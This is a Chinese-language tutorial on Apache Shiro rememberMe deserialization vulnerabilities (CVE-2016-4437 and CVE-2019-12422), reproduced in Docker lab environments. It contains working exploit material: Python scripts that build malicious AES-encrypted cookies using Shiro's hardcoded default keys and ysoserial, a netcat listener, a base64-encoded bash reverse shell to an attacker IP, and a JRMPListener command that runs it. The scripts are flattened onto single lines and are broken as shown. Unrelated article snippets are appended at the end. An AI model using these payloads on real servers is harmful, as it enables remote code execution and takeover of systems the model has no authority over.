shiro反序列化漏洞
文章目录
- 一、反序列化概念
- 1.什么是序列化?
- 2.序列化出现场景
- 二、Apache Shiro 1.2.4反序列化漏洞
- 1.定义
- 2.Shiro反序列化漏洞原理
- 3.漏洞特征
- 三、CVE-2016-4437漏洞复现(实验)
- 1.搭建环境
- 2.漏洞特征验证
- 1)未登陆验证
- 2)登陆失败验证
- 3)登陆成功验证
- ① 不勾选
- ② 勾选
- 4)Shiro漏洞验证方法
- 5)漏洞利用
- 四、CVE-2019-12422漏洞复现(实验)
- 1.搭建环境
- 2.检测是否为shiro框架
- 3.制作payload
- 路径下获得了一个payload.cookie
- 4.漏洞验证
- 5.漏洞利用(反弹shell)
- ① VPS监听端口
- ② 构造shell命令
- ③ 开启JRMP服务
- ④ 构造payload
- ⑤ 前台登录
- ⑥ 追加cookie
一、反序列化概念
1.什么是序列化?
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,保证对象的完整性
和可传递性;
反序列化即逆过程,由字节流还原成对象。根据字节流中保存的对象状态及描述信息,
通过反序列化重建对象。
2.序列化出现场景
●远程和进程间通信(RPC/IPC)
●连线协议、Web服务、消息代理
●缓存/持久性存储区
●数据库、缓存服务器、文件系统
●HTTP cookie、HTML表单参数、API身份验证令牌
二、Apache Shiro 1.2.4反序列化漏洞
1.定义
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管
理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应
用程序到最大的网络和企业应用程序。
漏洞影响版本
Apache Shiro <=1.2.4
2.Shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码
都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,
AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将
rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
在服务端接收cookie值时,按照如下步骤来解析处理:
检索RememberMe cookie 的值
Base 64解码
使用AES解密(加密密钥硬编码)
进行反序列化操作,生成用户登录信息对象(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
3.漏洞特征
shiro反序列化的特征:
返回包中存在 rememberMe=deleteMe 字段
三、CVE-2016-4437漏洞复现(实验)
1.搭建环境
使用vulhub进行环境搭建,cd shiro/CVE-2016-4437
执行docker-compose up -d启动漏洞环境

访问8080

2.漏洞特征验证
1)未登陆验证
使用BP抓包,未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

2)登陆失败验证
登陆失败的话,不管勾不勾选RememberMe字段,返回包中都会有rememberMe=deleteMe字段

3)登陆成功验证
使用正确账号admin:vulhub进行登录
① 不勾选
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段。

但是之后的所有请求中Cookie都不会有rememberMe

② 勾选
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段,还会有rememberMe字段的所有请求


之后中Cookie都会有rememberMe字段

4)Shiro漏洞验证方法
如何判断网站是否使用shiro
找到网站登录的地方
随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段,如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
如果没有remembeMe
还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架,可能存在shiro反序列化漏洞

5)漏洞利用
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进
行漏洞利用,这里漏洞检测和利用的方式有两种
第一种是使用jar工具进行验证。
第二种方式是使用python脚本进行验证。
使用jar工具检测是否存在shiro漏洞,执行命令

反弹shell


四、CVE-2019-12422漏洞复现(实验)
1.搭建环境
获取docker镜像:docker pull medicean/vulapps:s_shiro_1

启动docker镜像:docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1


点击account_page

2.检测是否为shiro框架
开启bp抓包,发现返回包存在Set-Cookie 中存在 rememberMe=deleteMe 字段

3.制作payload
dnslog申请一个临时域名
shiro.py内容如下
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="#key = "Z3VucwAAAAAAAAAAAAAAAA=="#key = "wGiHplamyXlVB11UXWol8g=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1]) with open("payload.cookie", "w") as fpw:print("rememberMe={0}".format(payload.decode()),file=fpw)
使用shiro.py 脚本,生成检测payload(dns解析)

例如:python shiro.py “http://4xakbz.dnslog.cn”
需安装crypto
路径下获得了一个payload.cookie
4.漏洞验证
把刚刚生成的payload.cookie粘贴到包里,burp发包,查看dnslog,是否存在dns解析记录



dnslog出现回显,说明存在漏洞
5.漏洞利用(反弹shell)
① VPS监听端口
nc -lvvp 10808

② 构造shell命令
构造反弹shell命令,并且进行base64编码
/bin/bash -i >& /dev/tcp/192.168.155.2/10808 0>&1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==
③ 开启JRMP服务
在VPS开启一个JRMP(端口设置1099)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}”

④ 构造payload
使用s.py构造payload,使存在shiro反序列化的服务器,
python3 s.py 192.168.155.2:1099(攻击者监听的端口)
s.py内容如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

⑤ 前台登录
注意需要勾选Remember Me ,截获数据包,加入payload,将payload发送服务器

⑥ 追加cookie
将s.py生成的内容追加到cookie后面

反弹shell成功

相关文章:
shiro反序列化漏洞
文章目录 一、反序列化概念1.什么是序列化?2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 …...
无需公网IP,实现外网远程访问管家婆ERP进销存系统的方法
文章目录 前言 1.管家婆服务2. 内网穿透2.1 安装cpolar内网穿透2.2 设置远程访问 3. 固定访问地址4. 配置固定公网访问地址 前言 管家婆辉煌系列产品是中小企业进销存、财务管理一体化的典范软件,历经十余年市场的洗礼,深受广大中小企业的欢迎ÿ…...
C#,《小白学程序》第十三课:阶乘(Factorial)的计算方法与代码
1 文本格式 /// <summary> /// 阶乘的非递归算法 /// </summary> /// <param name"a"></param> /// <returns></returns> private int Factorial_Original(int a) { int r 1; for (int i a; i > 1; i--) { …...
以antd为例 React+Typescript 引入第三方UI库
本文 我们来说说 第三方UI库 其实应用市场上的 第三方UI库都是非常优秀的 那么 react 我们比较熟的肯定还是 antd 我们还是来用它作为演示 这边 我们先访问他的官网 https://3x.ant.design/index-cn 点击开始使用 在左侧 有一个 在 TypeScript 中使用 通过图标我们也可以看出…...
matlab如何遍历文件夹及子文件夹下的所有文件
需求 有一个比较深层的文件夹,每个文件夹及其子文件夹下都可能存在我所需要的csv文件,写一个函数,输入文件夹路径后可以返回所有符合要求的csv文件。 代码实现 % folder_path为输入的文件夹,str为指定的文件所特有的关键字&…...
Win11怎么显示隐藏文件
为了保护电脑的安全,系统会将一些重要的文件或者文件夹隐藏起来,导致我们无法轻易的找到和打开,那么这些隐藏的文件怎么显示呢,下面小编就给大家带来Win11显示隐藏文件的方法,感兴趣的小伙伴快来和小编一起看看吧。 W…...
Golang专题精进
Golang专题精进 Golang单元测试Golang错误处理Golang正则表达式Golang反射Golang验证码Golang日期时间处理库CarbonGolang发送邮件库emailGolang log日志Golang log日志框架logrusGolang加密和解密应用Golang访问权限控制框架casbinGolang使用swagger生成api接口文档Golang jwt…...
手游联运平台都具备哪些功能?
手游联运平台是为了方便游戏发行商进行游戏发行和运营而提供的一种服务平台,具备多种功能以支持游戏在不同渠道上的推广和运营。以下是一些手游联运平台通常具备的功能: 多渠道发行:提供多种渠道,如应用商店、社交媒体、合作伙伴等…...
98. 验证二叉搜索树
给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下: 节点的左子树只包含 小于 当前节点的数。节点的右子树只包含 大于 当前节点的数。所有左子树和右子树自身必须也是二叉搜索树。 示例 1: 输入&am…...
Stream API
Stream API执行流程 Stream API(java.util.stream)把真正的函数式编程风格引入到Java中,可以极大地提高程序员生产力,让程序员写出高效、简洁的代码 实际开发中项目中多数数据源都是来自MySQL、Oracle等关系型数据库,还有部分来自MongDB、Redis等非关系型数据库 …...
手写Spring:第3章-实现Bean的定义、注册、获取
文章目录 一、目标:实现Bean的定义、注册、获取二、设计:实现Bean的定义、注册、获取三、实现:实现Bean的定义、注册、获取3.1 工程结构3.2 实现Bean的定义、注册、获取类图3.3 定义Bean异常3.4 BeanDefinition定义和注册3.4.1 BeanDefinitio…...
这些国外客户真直接
最近在某平台上遇到的客户,很大一部分都是非英语国家的客户,然而他们也有很多共性的习惯。 第一种:直接表达自己对这个产品感兴趣,然后接下来就没有下文了,而之所以可以看得懂,则是借助平台本身的翻译系统&…...
使用Apache Doris自动同步整个 MySQL/Oracle 数据库进行数据分析
Flink-Doris-Connector 1.4.0 允许用户一步将包含数千个表的整个数据库(MySQL或Oracle )摄取到Apache Doris(一种实时分析数据库)中。 通过内置的Flink CDC,连接器可以直接将上游源的表模式和数据同步到Apache Doris&…...
【1++的数据结构】之哈希(一)
👍作者主页:进击的1 🤩 专栏链接:【1的数据结构】 文章目录 一,什么是哈希?二,哈希冲突哈希函数哈希冲突解决 unordered_map与unordered_set 一,什么是哈希? 首先我们要…...
【网络编程】深入了解UDP协议:快速数据传输的利器
(꒪ꇴ꒪ ),Hello我是祐言QAQ我的博客主页:C/C语言,数据结构,Linux基础,ARM开发板,网络编程等领域UP🌍快上🚘,一起学习,让我们成为一个强大的攻城狮࿰…...
WordPress(5)在主题中添加文章字数和预计阅读时间
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 样式图一、添加位置二、找到主题文件样式图 提示:以下是本篇文章正文内容,下面案例可供参考 一、添加位置 二、找到主题文件 在主题目录下functions.php文件把下面的代码添加进去: // 文章字数…...
STM32WB55开发(1)----套件概述
STM32WB55开发----1.套件概述 所用器件视频教学样品申请优势支持协议系统控制和生态系统访问功能示意图系统框图跳线设置开发板原理图 所用器件 所使用的器件是我们自行设计的开发板,该开发板是基于 STM32WB55 系列微控制器所构建。STM32WBXX_VFQFPN68 不仅是一款评…...
CUDA相关知识科普
显卡 显卡(Video card,Graphics card)全称显示接口卡,又称显示适配器,是计算机最基本配置、最重要的配件之一。就像电脑联网需要网卡,主机里的数据要显示在屏幕上就需要显卡。因此,显卡是电脑进…...
恒运资本:总市值和总资产区别?
总市值和总财物是财政术语中经常被提到的两个概念,很多人会将它们混淆。在金融领域中,了解这两个概念的差异十分重要。本文将从多个视点深入分析总市值和总财物的差异。 1.定义 总市值是指公司发行的一切股票的商场总价值。所谓商场总价值…...
CTF安全竞赛介绍
目录 一、赛事简介 二、CTF方向简介 1.Web(Web安全) (1)简介 (2)涉及主要知识 2.MISC(安全杂项) (1)介绍 (2)涉及主要知识 3…...
GitHub功能全景:从代码创作到企业级方案的技术生态
【导语:GitHub作为全球知名的代码托管平台,提供了丰富多样的功能,涵盖AI代码创作、开发者工作流、应用程序安全等多个领域,还针对不同规模公司、用例和行业提供解决方案,对软件开发行业产生着深远影响。】【GitHub的多…...
seo页面优化公司如何进行网站内容优化
SEO页面优化公司如何进行网站内容优化 在当今数字化时代,网站内容优化已经成为了每个企业在SEO(搜索引擎优化)中的关键步骤。SEO页面优化公司通过一系列策略和技术,帮助企业提高网站在搜索引擎中的排名,从而吸引更多的…...
深入解析Jinja2模板引擎:render与generate函数的实战应用
1. Jinja2模板引擎基础入门 第一次接触Jinja2时,我完全被它的简洁和强大震撼到了。这个由Armin Ronacher开发的模板引擎,最初是为了解决Django模板的局限性而诞生的。经过多年发展,它已经成为Python生态中最受欢迎的模板引擎之一。 安装Jinja…...
Calypso vs PC-DMIS:三坐标两大软件脱机编程实战对比与选型指南
Calypso vs PC-DMIS:三坐标测量软件脱机编程深度对比与实战选型策略 在精密制造领域,三坐标测量机(CMM)的脱机编程能力直接决定了检测效率与资源利用率。作为行业两大标杆,蔡司Calypso与海克斯康PC-DMIS在用户界面设计、编程逻辑、仿真验证等…...
告别轮询!用STM32F407的USART3+DMA+空闲中断实现高效串口数据接收
STM32F407高效串口通信:USART3DMA空闲中断实战指南 在嵌入式开发中,串口通信是最基础也最常用的外设之一。传统的中断接收方式虽然简单,但在高速或大数据量传输时,频繁的中断响应会显著增加CPU负担,甚至导致数据丢失。…...
Qt跨平台即时通讯实战:从界面设计到TCP通信的完整实现
1. Qt跨平台即时通讯开发概述 用Qt框架开发即时通讯软件最大的优势就是"一次编写,到处运行"。我去年接手过一个项目,需要在Windows和Linux双平台上部署聊天工具,当时尝试过多种技术方案,最终Qt以绝对优势胜出。想象一下…...
基于博途1200PLC+HMI的六层三部电梯控制系统仿真程序
基于博途1200PLCHMI六层三部电梯控制系统仿真 程序: 1、任务:PLC.人机界面控制三部电梯集群运行 2、系统说明: 系统设有上呼、下呼、内呼、手动开关门、光幕、检修、故障、满载、等模拟模式控制, 系统共享厅外召唤信号,…...
[Python3高阶编程] - 异步编程深度学习指南二: 同步原语
概述在 Python 异步编程中,虽然协程(coroutine)天然避免了线程切换开销,但多个协程仍可能同时访问共享资源(如全局变量、文件、数据库连接),从而引发竞态条件(Race Condition&#x…...
2026年Java面试最常被问的1000道题目及参考答案
Java学到什么程度可以面试工作? 要达到能够面试Java开发工作的水平,需要掌握以下几个方面的知识和技能: 1. 基础扎实:熟悉Java语法、面向对象编程概念、异常处理、I/O流等基础知识。这是所有Java开发者必备的基础,也…...
别再只画可达空间了!宇树Z1机械臂‘死角’排查与灵活工作空间优化实战
宇树Z1机械臂死角排查与灵活工作空间优化实战指南 当宇树Z1机械臂在自动化产线上执行抓取任务时,工程师们常会遇到一个令人头疼的现象——某些看似可达的位姿却无法实现预期动作。这背后隐藏的往往是机械臂工作空间中的"死角"问题,即那些虽然理…...
